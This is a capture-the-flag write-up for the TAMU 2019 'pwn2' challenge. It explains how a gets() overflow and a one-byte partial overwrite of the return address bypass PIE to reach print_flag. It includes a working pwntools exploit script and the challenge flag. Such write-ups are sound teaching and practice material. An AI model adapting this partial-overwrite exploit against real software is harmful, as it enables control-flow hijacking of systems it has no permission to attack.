Tamu 2019 pwn2
Information
- Category: Pwn
Description
None
Write-up
When we run the program, it takes user input. If we inspect it using Ghidra or IDA, we can see it uses gets()
, which is dangerous due to its lack of bounds checking.
However, our goal is to execute the print_flag
function, and a simple buffer overflow to overwrite the return address won’t work directly because the binary has ASLR and PIE enabled.
Instead, we can take advantage of how the select_func
function works.
It takes our input, copies it into a local variable, and is then called from main
. This means the return address inside select_func
will point back to main
— specifically, to the instruction after the call to select_func
.
If we can partially overwrite the return address inside select_func
, we can redirect execution to print_flag
.
Since PIE only randomizes the higher bits, and the low byte of the return address is fixed (0xd8
), a partial overwrite is enough to hijack control flow. We know:
- The offset to the return address inside
select_func
is0x1e
- The fixed low byte of
print_flag
’s address is0xd8
So, by sending input that overflows the buffer and overwrites just the least-significant byte of the return address, we can make the function return into print_flag
, bypassing ASLR and PIE.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn2_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
payload = b"A"*0x1e + b"\xd8"
r.send(payload)
r.interactive()
if __name__ == "__main__":
main()
Flag
Flag:
flag{g0ttem_b0yz}